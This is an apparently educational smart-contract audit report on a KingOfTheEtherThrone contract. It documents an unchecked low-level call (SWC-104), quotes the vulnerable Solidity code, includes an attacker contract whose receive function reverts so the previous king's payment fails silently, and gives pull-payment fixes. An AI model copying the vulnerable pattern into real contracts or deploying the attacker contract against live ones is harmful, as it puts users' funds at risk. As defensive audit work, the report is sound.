SECURITY AUDIT REPORT: ETHERGAME PROTOCOL

PROJECT ..... EtherGame Protocol

REPOSITORY https://github.com/molalign8468/30-day-security-sprint

COMMIT HASH 98e01d244d29ef87102873724aa34c936aed4d38

AUDIT DATE ..... February 18, 2026

AUDITOR ..... Molalign Getahun

Executive Summary

Status: ***HIGH RISK***

The KingOfTheEtherThrone contract contains a high-severity vulnerability due to an unchecked low-level external call in the claimThrone() function. Compensation to the previous king is executed using call, but the return value is not validated.

If the recipient rejects the transfer, the payment silently fails while the contract state updates, breaking the protocol's core economic invariant and potentially resulting in loss of funds. The contract is unsafe for mainnet deployment in its current state. Immediate remediation is required before any production use.

Severity	Count	Status
Critical	0	-
High	1	Unresolved
Medium	0	-
Low	0	-
Informational	0	-

Scope & Methodology

Scope

File	Type	Logic
Day4_unchecked_external_calls.sol	Smart Contract	claimThrone() function

Methodology:

- ✓ Manual code review
- ✓ Threat modeling
- ✓ Common vulnerability pattern analysis (SWC)

Severity Rating

Severity	Description
Critical	Full fund loss or protocol takeover
High	Significant fund risk
Medium	Logic or trust issues
Low	Minor risk
Informational	Best practices

Findings Summary

ID	Severity	Title
HIGH-01	High	unchecked low-level external call

Detailed Findings

[HIGH-01] unchecked low-level external call

Severity: High

Location: Day4_unchecked_external_calls.sol:L12–L21

Reference: SWC-104 – Unchecked Call Return Value

Description

The claimThrone() function executes a low-level call to compensate the previous king but does not validate the returned success flag. If the external call fails, the transaction continues and updates contract state regardless of the failed payment.

This can result in silent compensation failure, locked funds, and violation of the protocol's core economic invariant..

Impact

- ✓ Funds may remain locked in contract
- ✓ Previous king may not receive compensation
- ✓ Economic assumptions broken

Risk Evaluation

- ✓ Impact: Loss of funds and broken economic logic.
- ✓ Likelihood: High easily exploitable by any malicious contract.
- ✓ Overall Severity: High.

Proof of Concept

Vulnerable Contract

```
    address public king;


uint public claimPrice  = 1 ether;
```

```
    function claimThrone()  external payable {
        require(msg.value  > claimPrice);


        uint compensation = (msg.value  * 9)  / 10;
        (bool ok,)  = payable(king).call{value:compensation}("");

        king  = msg.sender;
        claimPrice   = (claimPrice   * 3) / 2;
    }
```

Attacker Contract

```
interface IKingOfTheEtherThrone  {
    function claimThrone()  external payable;
}

contract Attack {
    IKingOfTheEtherThrone  public throne;

    constructor(address _throne) {
        throne = IKingOfTheEtherThrone(_throne);
    }

    function attack() external payable {
        throne.claimThrone{value:  msg.value}();
    }



    receive() external payable {
        console.log("chu");
        revert("I refuse compensation");
    }
}
```

Recommendations

- ✓ Instead of pushing funds to the previous king use pull-payment pattern, which store the compensation in a mapping and allow them to withdraw it. This isolates the failure.

```
mapping(address => uint256) public pendingWithdrawals;

function claimThrone() external payable {
    require(msg.value > claimPrice);

    if (king != address(0)) {
        uint256 compensation = (msg.value * 9) / 10;
        pendingWithdrawals[king] += compensation;
    }
    king = msg.sender;
    claimPrice  = (claimPrice  * 3) / 2;
}

function withdrawCompensation() external  {
    uint256 amount = pendingWithdrawals[msg.sender];
    require(amount > 0, "No funds to withdraw");

    pendingWithdrawals[msg.sender] = 0;

    (bool ok, ) = payable(msg.sender).call{value: amount}("");
    require(ok,  "Withdrawal failed");
}
```

- ✓ Validate the return value of low-level call operation

```
function claimThrone() external payable {
        require(msg.value > claimPrice);
        uint compensation = (msg.value * 9) / 10;
        (bool ok,) = payable(king).call{value:compensation}("");
        require(ok);

        king = msg.sender;
        claimPrice  = (claimPrice  * 3) / 2;
    }
```

Conclusion

Deployment should not proceed until the issue is fixed and the contract is re-audited.